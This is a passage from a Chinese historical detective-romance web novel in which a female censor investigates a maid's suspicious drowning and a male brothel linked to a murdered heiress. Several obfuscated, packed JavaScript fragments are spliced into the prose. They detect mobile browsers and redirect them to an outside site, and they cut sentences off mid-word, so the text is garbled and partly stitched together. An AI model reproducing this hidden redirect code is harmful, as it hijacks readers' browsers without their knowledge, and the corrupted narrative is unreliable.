“哟,醒了?”晏返从屏风后探出身子,好整以暇地打量着林雪意,“你说晕就晕,倒是一句招呼都不打。” 林雪意并不想听晏返的挖苦,她稳了稳脚步,等脑袋里的眩晕感退去便向屏风外头走去。自己昏迷前的景象陆续浮现脑海,林雪意蓦地停住了脚步,微皱起眉头看晏返。 “那团干草现在何处?” 此时她正要走过晏返身侧,一转头就看见他一脸无谓地望天,道:“我让墨云去处理了。” 林雪意的眉头皱得更深了,不由得上前一步,盯着他问:“是怎么处理的?” 晏返闷笑一声,疏朗的眉宇间漫着懒散的笑意。 “那种脏东西留着做什么?当然是丢掉了。” “你……”林雪意抬起握紧的拳头又放下,气恼得转头就走。 “骗你的。”晏返的话从身后传来,林雪意脚步一顿,就听他说,“虽然本世子不知道那东西有什么要紧的,但是既然你觉得重要,我让墨云拿去调查了。” 林雪意这才松了一口气。但是绷在心里的弦一松,她整个人也就松脱下来,不禁有些脱力。 晏返伸手一带,就拉着她在房中桌边坐了下来。 一名丫鬟正好端着托盘从外头进来,她将一盏精致的青花炖盅放在桌上便行礼退下。 晏返支支扇子,将小盅推到林雪意面前,又冲她抬了抬下巴:“你一整天没吃东西了,吃一点。” 林雪意自问不是什么好赖不分的人,她虽然觉得此人行事讨厌,但今天他也算是帮她解了围,因此容色稍缓,道:“晏世子,今日我欠你一个人情,他日自会还上。我父亲遗体还在家中,我无心久留,这就要回去了。” “等等。”晏返却抬手拦住了她,挑眉道,“明远候府可不是能够说来就来,说走就走的地方。” 林雪意皱眉,心中微恼:“你想如何?” 晏返抬抬眼皮,目光又回到了桌上的青花小盅上:“吃了再走。” 林雪意不由叹了口气,心中暗暗摇头。她虽早有耳闻,明远候世子行事乖张,却不知道他在这种鸡毛蒜皮的事情上也如此执着。还是说……这里头也藏了他捉弄的心思? 她硬着头皮掀开盖子,发现里面装的是燕窝红枣银耳羹,似乎并不是什么恶作剧。她拿起汤匙尝了一口,并没有什么奇怪的味道,而且炖煮得恰到好处,口感软糯,味道清甜,可见厨娘是下足了功夫。 林雪意没有什么胃口,吃了几口就放下了汤匙。晏返倒也干脆,即刻叫来下人送林雪意出府。 外头的雪仍未停,纷扬下落的雪花就着屋里透出的灯光,如凋敝的花影。 晏返命人准备了马车,林雪意本想拒绝,但想想他说一不二的执拗做派,不愿多费口舌浪费时间,就由着车夫将自己送回了家。 监察御史的俸禄不高,父亲为官又是两袖清风,晋京师天子脚下,城中房价自是不便宜,因此林雪意跟父亲只能住在靠近城郊的一处僻静的小院中。 林雪意轻轻推开木门,步入院中。院子里虽然积雪深厚,但好在有人在中间清扫出了一条小径,不致路滑难行。 灵堂里亮着烛火,林雪意心中稍安,向那边走去。还没等她走近,里头就跑出来一个比她矮一头的少女来,嗓音清清亮亮的,还微带着哭腔:“姑娘,你可算回来了!” 来的是她的丫鬟深月,看她眼睛红得像兔子,可以想见她这一整天里都找不到她,都急成什么样子了。 “呜呜呜……姑娘,我今日去街上寻你的时候都听说了,您已经替老爷伸了冤。京兆府那贪官着实可恨,真是苦了姑娘今日如此奔走……呜呜呜呜,姑娘,如此一来,您会不会有危险啊?” 深月原本就要比林雪意小上两岁,平日里相处更像是她的妹妹,一见到林雪意,在肚子里憋了一天的话就如竹筒倒豆子一般全说了出来。 “深月,不用紧张,我没事的。”林雪意一面安抚她,一面走进灵堂。 她从香案上取起几支香,就着案上的烛火点了,在父亲的灵前跪下。 今日发生的一幕幕在她的脑海中游走,一股寒意渐渐从心底升起。仿佛有人织了一张巨大的网,而她已经揭开了其中的一角。幕后的人总能比她早一步截断线索,恐怕她也已经成了网中人。但她不惧,不退。 “父亲,我一定会把案子查个水落石出,还您一个公道!” 林雪意叩了叩头,插香入炉。灵台上的烛光映在她清澈的眸子里,明明灭灭。 “姑娘,您为了老爷的事天未亮就出门了,该是没能好好吃东西,我去厨房给您下一碗面。” 林雪意点点头,看着深月离开的背影,顿时感觉什么地方不太对劲。 不久前在明远候府时,晏返说的话浮起在耳侧——“你一整天没吃东西了,吃一点。” 林雪意眉心轻轻一跳。 她今日在布庄撞见晏返的时候已是巳时将至,他怎么知道她没吃过东西? 而且她是因为从王氏那里得到了布庄的线索,他又是怎么知道她会在那个时候去布庄的? 突然从厨房一侧传来的惊叫打断了林雪意的思绪。 是深月的声音! 林雪意立刻跑出灵堂,才到厨房门口就见深月已经晕倒在地上。而就在她跑过来的时间里,厨房里头窜起了火苗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余管家的话引起了林雪意的注意,她问:“那些丫鬟现在可还在府中?” “有两个是就地遣走的,还有两个实在不愿走的,小的就安排她们去伙房做事了。”余管家说完便去将那两个丫鬟叫来了。 后头进来的两个丫鬟,一个看着二十出头,微胖,名叫秋声,一个看着跟深月差不多大小,应该才十三四岁,叫做秋意。两人一进屋便都垂首跪下了,面色有些局促。 “大人问话,你们如实说来,若是说谎隐瞒的,叫人打断你们的腿!” 两个丫鬟被余管家的话吓得浑身颤抖,但一听到林雪意问及冯玉的事,却都是支支吾吾地说不曾听闻这些。 林雪意看了她们一阵,从旁道:“那就先来说说,你们因为何事惹得秦姑娘生气吧。” 那秋声还是默不作声,倒是她身边的秋意先开了口:“是奴婢手笨,不小心打坏了姑娘最喜欢的建盏,姑娘这才发了火。但是奴婢的娘亲病重,急需药钱,奴婢实在没处可去了,求老爷不要赶奴婢走!” “那秋声呢,也都是因为弄坏了东西吗?”林雪意问。 她话音刚落,就见秋声的脸色越发难看起来。 21. 秋意 “你倒是快说呀。”余管家不耐烦地催促道。 秋声怯怯地抬头看了一眼秦朗,咬了咬唇,这才道:“那日我随姑娘上街,路过甜水巷的时候,姑娘一时兴起,说是要去……” 秦朗跟余管家原本听到“甜水巷”这三个字脸色就已经有些不对劲,等到听到秋声接下来说的话,更是老脸一黑—— “说是要去里头的南风馆看看。奴婢怕有损姑娘名节,就劝阻了姑娘,这才惹姑娘生气的。” 秋声说完,四下里一片安静,丫鬟们全都伏在地上,头低得不能再低。 林雪意不解其意,转头问一旁的方知县:“甜水巷是什么地方?南风馆又是做什么的?” “咳……”饶是方知县,也不由得红了红老脸,道,“甜水巷乃是本地的一条花街,至于这南风馆么,与寻常青楼不同,里头都由男子经营。” 林雪意明白过来。原来秦苒悦是要去逛烟花之地,怪不得好些丫鬟都讳莫如深。 如此说来,那冯玉倒真是很有可能是秦苒悦在南风馆里认识的,因此秦苒悦才会选择同冯玉私奔,而不是让冯玉入赘。因为以冯玉的出身,秦朗就算再爱护女儿,也是不会同意的。 “那秦姑娘后来有再去过吗?”林雪意问秋声。 “奴婢不知。”秋声道,“那日回府之后,大小姐便将奴婢换掉了。” 就算秦朗为人再和善,此时也绷不住脾气了,提高了声音问先前被叫来的几个丫鬟:“那你们呢?再不老实交代,我让余管家将你们全部发卖了!” 这下里头才有两个丫鬟颤颤巍巍地说自己曾经跟着秦苒悦去过南风馆。 秦朗听了怒极,摔了手边茶盏斥道:“那你们怎么从来不说!” “姑娘是扮做男子去的,让奴婢们不要说出去。” “姑娘还说……还说如果奴婢们让老爷知道了,就要把奴婢们逐出府去。” 两个丫鬟边说边瑟瑟发抖。 林雪意想了想,道:“可是你们方才说,不知道秦姑娘跟冯玉有来往。” 其中一个丫鬟连忙道:“回、回大人的话,奴婢们确实不知道这个人,姑娘去南风馆见的人也不叫这个名字。” “那人叫什么名字?” “叫做荼蘼。”另一个丫鬟回答。 “荼蘼……”林雪意念着这个名字,心中无端想起了赵达曾经跟她说过的,迷魂胭脂原先就叫做荼蘼胭脂。 这名字听着也不是寻常人的名字,她便很快明白过来,这应该是那名男子的花名,而不是真名。 想到这里,林雪意跟余管家要了纸和笔墨,来到花厅一侧,按照自己脑海中冯玉的样子,画起了画像。 就在她作画的时候,秦家的二老爷秦岳和他的夫人曹氏急匆匆地从外头走了进来。那秦二老爷似乎是得了秦苒悦被害的消息后,刚从乡中的铺子里赶回来的。两人言语悲切,对秦朗一番安抚,这头林雪意也画好了画像。 她将画像拿给那些丫鬟看,问:“那南风馆的荼蘼,是他吗?” 两个见过荼蘼的丫鬟辨认了片刻,点了点头。 “他在南风馆中打扮过,如果是在平时,应该就是这样。” 那秦岳跟曹氏先前并不知道秦苒悦去南风馆的事,突然听到南风馆,脸色都是一变。他们的神情变化都没逃过林雪意的眼睛,尤其是曹氏,她一张脸都绿了。 “大哥,这……”秦岳看向秦朗,有些欲言又止。但见秦朗皱着眉头,摇头叹气的样子,他好像又猜到了些,没有再问下去。 “大人,此人奴婢也见过。”一旁的秋意突然到。 她这话让屋中几个人都是吃了一惊,林雪意忙问:“你是在何时何处见到的?” “就在两日前,在秦府的后门。”秋意说得肯定。 秋意说自己去伙房干活后,除了烧火,每日要做的事就是去后门倒泔水。两日前,她按平时倒泔水的时间去了后门,但那日的泔水车却来迟了半个时辰。当时她在门口等过一阵,就看见画像上的男子出现在了秦府后门,似乎是在等什么人。 “那你可曾看见什么人去见他了吗?” 秋意摇了摇头:“那倒是不曾。后来奴婢倒完泔水,就先进去了。” 林雪意转而问另外几个丫鬟:“两日前,秦姑娘去过秦府后门吗?” 见几个丫鬟都是摇摇头,说秦苒悦没去过,林雪意便觉得有些奇怪。按秦苒悦风风火火的性子,若冯玉是去找她,那她是怎么都会去见上一面的。除非冯玉那天在等的人,并不是她。 可冯玉在秦府后门等人,很可能等的就是这秦府里的人。除了秦苒悦,冯玉竟然跟秦府中的其他人相识,这便有些稀奇了。 “你们还记得秦姑娘第一次去南风馆是在什么时候吗?”林雪意问那两个进过南风馆的丫鬟。 “最早是在半个月前,”其中一个丫鬟道,“那时候奴婢刚去服侍姑娘不久。因为秋声不在姑娘屋里了,奴婢是去替秋声的。” 秦朗听了这话,简直是气不打一处来,怒道:“你们!你们!你们若是早点告诉我,苒悦也不至于被人诱骗,惨遭杀害!苒悦的死,你们全都逃不了干系!余管家,将这些人都撵出去……” 他话刚说完,竟是两眼一翻,昏厥过去。 “大哥!”边上的秦二老爷秦岳见状立刻扶住了他。 “老爷!”余管家连忙上前,跟秦岳一起将秦朗扶住,又冲外头叫道,“快!快去请大夫!” 众丫鬟见状都被吓得哭起来,一时之间,屋中乱作一团。 场面顿时有些尴尬,好在秦二老爷的夫人曹氏立连忙过来打了圆场,道:“二位大人,今日家中事多,大哥近日又身体抱恙,有招呼不周之处,希望二位大人不要放在心上。” 林雪意当然不会计较这些,安抚她道:“那是自然,还望秦老爷节哀。” 两人说话的当下,余管家已经安置好晕倒的秦朗,又交代丫鬟们自行回住处收拾东西,领了这个月的工钱再走。而后他又将林雪意几人送到门口,寒暄致歉。 林雪意刚要转身离开,就瞥见一个家仆神色慌张地从里头跑出来,大叫:“余管家,不好了,秋意投井了!” 她闻言一惊,立刻跟着余管家去了秋意投井的后院。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896857|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙房中的丫鬟跟婆子原本都是在一个屋子里打通铺的,但因为秋意是最迟到伙房做事的,那间屋子住不下,余管家便将她安排到偏院边角的一间老屋子里。 老屋子年久失修很是破败,并不适合住人,但是秋意执意不肯离开秦府,就凑合着住下了。 那老屋子边上有一口水井,因为离伙房较远,早已弃置不用,秋意投的便是这口井。 废井很深,几个家仆正在尝试打捞,一旁的秋声已经泣不成声:“我……我跟她说……我跟她说……说在伙房外头等、等她,等收拾好东西一起走。可、可是她没来……我想去她屋子里找她,她就……她就……” “你亲眼看到秋意跳下去的吗?”林雪意问。 秋声的哭声停了停,摇头道:“我先去了她屋子里,没找到人,这才到井边去看,就看见她已经在里面了。” 此时秋意正被抱出井口,林雪意垂眸思索,却感到自己的袖子被拉了拉。她向身侧看去,就见深月已经红了眼眶,低声道:“大人,秋意好可怜。” 林雪意明白深月心中感触。 深月幼年丧父,母亲病危时她曾沿街乞讨,后来是父亲在巡察途中遇见了她,救济了她们,又在她母亲亡故后收留了她。她知道深月见秋意与自己年龄相仿,又得知秋意母亲生病,本就有些同病相怜,现在秋意突然死了,怎么不令人伤心? 一具冷冰冰的尸体就摆在眼前,而不久前她还是活生生的,林雪意也不知道要怎么安慰深月,只拍了拍她的手,上前开始查验秋意的尸体。 尸体额头上有一处磕伤和几处擦痕,头发和指甲中都有泥沙,口鼻中有水沫,腹中有水,确实是落井后溺水而亡。 平日若是发生了命案,衙门都是请仵作验尸,因此方知县本想远远看着。但是他转念一想,又觉得此举未免过于懈怠,因此又硬着头皮站在林雪意旁边看着,等她验尸完毕连忙让人取水给她净手,问道:“御史大人,她这确实是投井而亡吧?” 林雪意点点头,视线却没有从秋意的尸身上离开。 “哎,秋意这也是无妄之灾。”同样站在一旁的余管家惋惜地叹了口气,道,“她与大小姐的事本没有什么关系,我家老爷又心慈,若是没有气晕过去,稍加求情,她或许就不用走的。她母亲已病了许久,老爷也是知道的。” 林雪意闻言想了想,问:“这个月的工钱,秋意去领过了吗?” 余管家摇头道:“我刚才问过账房管事,其他人都去领了,只有秋意跟秋声还没去过。” “这便怪了。”林雪意轻轻的一句话却让周围的几人都投过了视线,似乎都在等着她说下去。 她便接着道:“秋意说自己母亲病重,急需用钱,哪怕她真的是走投无路,也该先把工钱领了给母亲买药才是。秋意年纪虽小,但并不糊涂,她更是应该清楚,母亲跟她相依为命,她若是死了,母亲就真的没救了。” “或许……或许她是没想这么多吧。”秋声伤心道,“她连东西都没收拾。” “那你呢?”林雪意看向秋声,目光锐利,“你的东西收拾了吗?” 22. 南风馆 “我……也还没有。”秋声的脸色白了白,眼神闪烁,“那是因为……因为我住的屋子离账房还近些,因此想先等秋意收拾好了,去领工钱的路上顺路进去收拾。” 林雪意上前一步,问:“你说你去秋意屋里寻她,没看到人后才去井边看的。我看那屋子跟这口井还有些距离,你为什么会觉得秋意会在井里?” 只见秋声微微一怔,继而低下头呜呜地哭起来:“我、我本就是见秋意哭得伤心,怕她做傻事,才想陪她回屋的。但是走到伙房的时候,她又不让我送了,说让我在伙房外头等着便好。哪知道她真的跳了井……都是我的错,若我刚才执意跟着她,她就不会……” 林雪意点了点头,没再问什么,转而对余管家说:“秋意着实可怜,本该让她入土为安。但我总觉得她的死不寻常,她的尸身可否先交由县衙看管?” 余管家连忙道:“我等自然愿意配合官府办案,大人派人来带走便是。待老爷转醒,我会告知老爷。她母亲那边,我这就叫人前去安抚。” 林雪意见余管家办事周到,道谢之后便再次由他带往秦府大门。正好方才余管家让人去请的大夫到了,几人分别打了招呼,这才各自离开。 “大人,你是不是怀疑秋意不是自己投井的?”余管家一离开,深月就忍不住问林雪意。 林雪意回想起刚才验尸时看到的情景,点点头道:“秋意确实是溺死不假,但她双目微睁,手掌张开,应该是在没有防备之时被人推入井中的。” 方知县立即道:“大人,下官看那秋声言辞闪烁,十分可疑。大人何不先将她抓起来,一番审讯,不怕她不招供。” “我们并无证据,直接拿人不妥,更不可刑逼供。”林雪意道。 面对任何案子,即便她能回溯有关证物看见凶手真容,在有确凿的证据之前,她也无法将对方问罪。更何况,秋意的案子,其实用不上回溯之力。 “那这么说,您也怀疑是秋声做的?”深月的眼眶仍是红红的,追问道,“难道就这样让她逍遥法外吗?” “天网恢恢,疏而不漏。只是……” 林雪意心中本有主意,只是手边没有合适的人选,但是当她看见不远处朝他们走来的人后,讲到一半的话不由停下了。 “墨云?”深月看见走到他们面前的墨云,感到很是奇怪,“你怎么会在这里?你不是回侯府了吗?” 墨云面无表情,语调平平地道:“夫人交代我的事,我已转告世子。世子担心夫人的安全,派我随行保护夫人。” 深月十分嫌弃墨云的臭脸,悄悄翻了个白眼,林雪意却轻轻一笑,道:“墨云,你来得正好。” “夫人有何吩咐?” “我需要你帮我去盯一个人,深月认得那个人,她可以同你一道。”林雪意说着看了深月一眼。 深月明白过来,微微睁大眼睛,道:“大人,你是说……” 林雪意冲她点了点头。 “好,包在我身上!”深月顿时打起了精神,拽着墨云就往秦府一侧的隐蔽处走去。 方知县原本看见对面走来个颇有气势的护卫还觉得有些惊讶,毕竟泤水县中少有如此英挺精悍的人物,等到听清了对方的来历,对林雪意更是肃然起敬,立刻拍起了马屁:“大人,您身边的人个个都是人中龙凤啊。有墨护卫出手,那想必是手到擒来。” 林雪意心中暗自叹了口气,笑道:“方大人谬赞了,我还有些事想向方大人讨教。” “讨教不敢当。只要是下官知道的,下官定然知无不言,言无不尽。”方知县一番话颠来倒去,说得慷慨激昂。 “秦府大老爷只有秦姑娘一女,那府中二老爷可有子嗣?” 方知县不由瞅了瞅周围,压低了声音回答:“秦二老爷如今膝下有一个公子两个姑娘。公子秦云是正室曹氏所出,但却是个游手好闲的浪荡公子,整日流连花街柳巷,因此秦二老爷少不了因为这个儿子着急上火。另外两个姑娘都是妾室所生,如今都还未成年。” 林雪意点了点头,道:“还有一事,我也想请教方大人。” “大人您但说无妨。”方知县嘿嘿笑着说。 “那甜水巷是在何处?” “甜水巷啊,甜水巷就在……”等到回过神来,方知县灿烂的笑容不由一僵,“大人,您问甜水巷做什么?” · 夜幕降临,泤水河畔灯火辉煌,好不热闹。 浮光跃金的泤水河上,几艘精致的画舫游弋其上,里面传出的婉转歌声如烟波一般在河面上轻轻荡,软软揉进冬日清寒的空气中,让人觉得冬日的寒冷也不过如此。 作为泤水河的烟花之地,甜水巷更是灯红酒绿,极尽奢靡。 街道两旁摆着各色小摊,上头摆着各种珠花银篦,口脂香粉,玉环金钏……摊贩在地面上卖力吆喝,楼上的姑娘们则是边打趣边招呼,问底下路过的俊俏公子十否有兴致上来饮一杯酒。 “真是柳眉星眼杏花腮……”林雪意手中敲着折扇,想起了曲子中的一句词,不由叹了口气。 她按照马知县说的路线,在甜水巷中走了一阵,找到了今日在秦府听说的南风馆。 原本她还不知道秦府丫鬟口中的打扮是什么意思,直到她现在看见南风馆门口两个招揽客人的男子,才有些明白过来。 这两个男子衣着宽大单薄,飘飘若仙,长长的乌发垂在身后,脑后只松松挽个髻,盘发的发簪旁还缀着一小串绢花。 “公子何必在门前驻足,不如进来坐坐?”其中一名绿衣男子迎了上来,说话之间便要伸手来挽林雪意。 他动身便立即有一股脂粉味扑过来,林雪意不动声色地抬扇支开他伸开的手,先一步往里面走去,冷声道:“今日我心情不好,只想喝些酒,不必特意伺候。” “那奴家就陪您喝酒。”绿衣男子笑着跟上给林雪意带路,又柔声唤一旁的小厮去取酒来。 “奴家叫柳笙,公子贵姓?” “我姓薛。” 两人互相介绍之间已进雅间,小厮随后就端了酒水进来。 绿衣男子殷勤地给林雪意斟了一杯酒,殷勤道:“薛公子您瞧着面生,该是第一次来吧?这是我们这里最有名的杏花酒,您试试看。” 林雪意喝了一杯,点头说好:“此酒入口甘甜,过喉不涩,我很喜欢。秦公子说得不错,这里确实是个好地方。” 柳笙闻言一笑,问:“您说的可是秦云秦公子?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是他,就是那位岳公子。三日前他还来过。”柳笙又道,“不过说来也奇怪,岳公子那晚离开后,第二日荼蘼就不见了踪影。我们都说啊,该不会是跟那岳公子私奔去了吧。” 确实是私奔去了——林雪意心中暗想着,又喝了一杯。 “可否带我到荼蘼的屋里看看?” “看来您啊,也是冲着荼蘼来的。”柳笙倒是没拒绝,带着林雪意去了荼蘼的屋子。 荼蘼的房间里面别无他物,只有屏风上还挂着几件南风馆样式的衣裳。 她抓住其中的一件,凝神一看,果然就在回溯的画面中看见了涂脂抹粉的冯玉和男装打扮的秦苒悦。 看来她所料不差,确实是冯玉在此处诱骗了秦苒悦。 结束了回溯,林雪意只觉得头晕得厉害。她这才想起,自己方才喝了有小半坛子的杏花酒,没想到这酒也上头得厉害。 “薛公子,您没事吧?”柳笙发觉她脚步踉跄,连忙扶住了她。 “多谢。我不胜酒力,这便告辞了。” 林雪意推开柳笙,摇摇晃晃地往屋外走,却冷不防地撞到一个人身上。 23. 妇唱夫随 “对不住……”林雪意自觉唐突,正要道歉,手腕却突然被跟前的人攥住。 她陡然一惊,抬头看去,就见一个醉醺醺的公子哥正醉眼朦胧地打量她,然后痴痴笑起来,冲身侧扶着他的人道:“你们这儿何时来了这么标志的小郎君啊?” “秦公子,您误会了。”柳笙连忙上来,想要松脱开对方的手,一边强笑道,“这位是客人,您该是喝醉了。” “不!我没醉!”被称作秦公子的人一只手挥开柳笙,另一只手还牢牢箍住林雪意手腕,道,“这样好看的小郎君,就该来陪我喝酒。小郎君,来,本公子今天高兴……” 他说着就要将林雪意拽进屋里,他一身牛劲,林雪意想挣脱他却挣他不开。 这时从后头跑上来一个年纪略大却浓妆艳抹的男子,似乎是此处的老鸨。 他急忙拉住那人,道:“秦公子,这真是来喝酒的客人,是薛公子!您赶紧松开,松开,别闹了笑话。” 加上老鸨和柳笙在内的三四个人一起用力,这才将那人的手给掰开。 “你们做什么!”那人耍起脾气来,怒道,“我秦云就是喜欢美郎君,让他陪我喝酒怎么了?” 林雪意闻言一愣,下意识多看了那人两眼。 原来他就是秦二老爷的公子秦云。 “哎呦,秦公子,您就可怜可怜我们吧,您这样不就是要砸我们招牌吗?”老鸨哭丧着脸讨饶,一边还不忘使眼色让路过的两个男子帮忙架住秦云,“既然您今日高兴,我让轻霜跟胧夜都来陪您如何?一会儿把柳笙也叫上。” “那可是你说的,说话算话。”秦云醉得不轻,不再发牛脾气,只是一双醉得通红的眼睛还直勾勾地往林雪意的方向看过来。 柳笙闪身过来挡在林雪意身前,对他笑道:“秦公子稍后,我送送薛公子就来。” 他说完就带着林雪意往南风馆的大门走,脸上有些歉然:“薛公子,今日对不住,让您受惊吓了。” 林雪意揉着发痛的手腕摇了摇头,向柳笙道谢后离开了南风馆。 她走的时候,身后远远还传来那秦云的满是酒意的喊声:“薛小郎君,明日巳时,我在流云轩等你。” 林雪意苦笑着又走上了熙熙攘攘的喧闹街道,酒劲上来,她只觉得脚底轻飘飘的,视线逐渐迷离起来。 她走在这人流如织的街道上,却觉得周身一切皆是幻影,她是孤身一人,而前路未明。 灯影朦胧中,秋意那张微带稚嫩的脸浮现在她眼前。原本努力遏制的失落情绪像是借着迎面吹来的夜风越飘越高,直没过头顶,压得她心口发痛。 秋意虽然因为失手摔坏东西被遣到伙房做事,但是这些时日一直相安无事,偏是在今日遭了毒手,说明是她今日说的话让人觉得她活着是个威胁。 而她今天无非是说了,她在秦府后门看见过冯玉。 深月对秋意的死感到很难过,她自己则是感到很自责。 如果她今天没有找秋意问话,秋意也不会被人盯上…… 前方灯火绚烂处,空中还飘着女子们轻盈的笑语,一道熟悉的声线在那前呼后拥中轻轻从头顶落下:“薛公子,真是巧啊。” 林雪意恍恍惚惚中抬起头,在视野归于黑暗前,她看见那灯火绰绰中,一道颀长身影被围拥在花枝招展的莺莺燕燕中,那双能叫星辰失色的漂亮眼眸,正错觉般地冲她笑…… · 夜色深浓,一方烛火将黑暗隔绝在屋外。 晏返静立在床边,听着外头打更的声音由远及近,而后又渐渐远去。 床上的林雪意睡得正沉,他便看得有些出神了。 她的脸孔长得很精致,总是略显苍白的脸颊因为醉意而微微泛着红晕。此时浓密的羽睫垂着,浅金色的烛光落在她眼睑上,衬得平日里有些清冷的眉眼微微地柔和起来。小巧的鼻梁莹莹如玉,看着竟有些可爱…… 他鬼使神差般伸出手去,却在快要触到她鼻尖的时候堪堪顿住,缓缓收了回来。 林雪意在睡梦中再次有种被人盯着的感觉。 那人似乎离自己很近很近,只要她勉力一试,就能让对方无所遁形。 “抓住你了!”林雪意一把抓住悬在半空的手,眼睛也蓦地睁开。 带着微微惊诧的俊美面容落入眼帘,林雪意在看清面前那张脸后不由怔住。 真是奇怪,她为什么会在梦里看见晏返这个二世祖?她是不是在不久前还看到他在喝花酒? 林雪意只觉得脑袋有些混乱,她像擒贼一样抓着那手不放,而后她想了一想,坐起身将那人扯过来。 晏返星目微睁望着林雪意,心中却是惊涛骇浪。 他已经很久很久没有这样猝不及防地被人拿住了,久到他已经忘记了上一次是什么时候。 可是他对林雪意竟然毫无防备。 若此时对面是个要取他性命的杀手,他早已血溅当场。 他下意识地想要缩回手,她却不知为何抓紧了他往前一拉,另一只莹白的手就这样毫无预兆地抚上他脸颊。 他只觉得自己连呼吸都停了。 轻软指尖蜻蜓点水般试探着触上他眼底皮肤,而后温热细腻的指腹点落,光洁细嫩的手指轻轻摩挲过的地方,竟一点点地漫上了有些灼人的热度。 那样的热意如烛光游走,渐次游入了眼底,让他不由眸色渐深…… 林雪意觉得这个梦很是奇怪。 她竟然好像真的摸到了晏返似的,他没有像雾气一样瞬间消失,近在咫尺的俊脸竟还是热的,那一双往日里如揽了星光般的漂亮眼瞳此刻却沉黑如夜,直向她望过来。 “咳!” 一声极为刻意的清咳骤然打破了一室的寂静。 林雪意跟晏返都蓦然惊醒过来,就着这一人紧抓不放另一人往前俯身的姿势,大眼瞪小眼了片刻,旋即触雷般分开。 端着汤碗进屋的深月狐疑地看了晏返一眼,走到桌边对林雪意道:“姑娘,正好醒酒汤做好了,您起来喝一点吧。” 林雪意立刻掀开被子下了床,像是无事发生一般走过晏返身侧,身体莫名地有些发僵。 她接过深月递过来的醒酒汤,转而想起另一件事,问:“你跟墨云那边如何了?” “姑娘放心,我们已经知道到了秋声的住处,墨云一直在盯着她呢。” “好。”林雪意点点头。 白日里她故意质问秋声,就是想让秋声知道,她已经对她起疑。秋声跟秋意平日里并无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924655|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇怨,因此她推秋意落井只能是受人指使。接下来,秋声势必会做点什么。 墨云办事,她总是放心的。 一想到墨云,林雪意的思绪就不得不回到晏返身上。 她打量了已经自行坐到桌边的晏返片刻,终是没有讥讽他一到这里就去喝花酒的事,而是低低道了一句“多谢”。 “谢什么?”晏返没听明白似的,疑惑地看着她。 “我今日去南风馆调查些事情,现在想来,是你先行一步去打点过了。” 这一回,晏返沉默的时间有点长。 好半天后,他才轻轻叹了口气,道:“有那么明显吗?” 林雪意笑了笑,说:“本来我还没在意,只是后来碰上点意外,柳笙和老鸨对我都颇为照顾,这便让我有些奇怪。” 而后,她又在几步开外的楼阁上看到了晏返,可不就是特意在那里等着么。 “不过,你怎么知道我会去那里?”林雪意心下还是有一点疑惑。因为这件事,她除了问过马知县南风馆的地点之外,就连深月也未曾提起。 “本世子要打听点消息,是什么难事吗?”晏返轻笑一声看着她,扬了扬眉,“不过御史大人的酒品真的不太好,还是别再喝了。” 林雪意顿时想起方才自己做的蠢事,尴尬地别开了目光,道:“对……对不住,我以为自己还在梦里。” “哦,做梦啊。”晏返露出恍然大悟的表情,展开手中扇子摇了摇,慢条斯理地道,“原来你会在梦里对我做那种事。” 林雪意一口醒酒汤立刻喷了出来,呛得连连咳嗽,差点流出泪来。 “姑娘!”深月连忙拿帕子替林雪意擦汤汁。 林雪意一张脸涨得通红,怒气冲冲地瞪着面前口无遮拦的二世祖:“晏——返!” 但他偏是不恼也不怵,悠悠迎上她的目光,眉眼间笑意渐深。 林雪意被看得有些不自在,垂下目光问:“你让墨云过来也就罢了,你自己为何要来这里?” 就见晏返一脸无奈地往手心里敲着扇子,道:“我是被奶奶赶出来的。” “老太太?”林雪意不禁有些惊讶。 “奶奶让我要妇唱夫随,说我若是敢丢下你一个人回去,就打断我的腿。” 林雪意不由一哽,深月却被逗笑起来。 晏返也笑了笑,直看着林雪意道:“御史大人,在下现在是有家不能回,可否请大人收留在下一段时间?” 林雪意一时有些沉默。 “你丢失的东西,我已经派人去找了。”晏返指的是掉下山崖的官印和官服,又道,“何况我把墨云都派给你了,我自己可是手无缚鸡之力,平日里全要靠墨云保护的。怎么样,足见我的诚意了吧?” 林雪意想了想,正色道:“那你须答应我一件事。” “别说一件,就是十件,本世子都答应。”晏返立刻夸下海口。 “好。”林雪意抬眼看着他,“这一路恐怕是凶多吉少,如果遭遇危险,你一定要先保全自己。” 晏返闻言顿住,眼底笑意退去,疏朗眉宇轻轻皱在一起。他刚要说什么,外头就传来了匆匆的脚步声,墨云的声音紧随而至—— “夫人,秋声跳井了!” 24. 打探 林雪意心中猛地一悬,站了起来。 就见墨云快步走进来,身上湿漉漉的,持剑拱手道:“属下虽已将她救上来,但她昏迷未醒。” 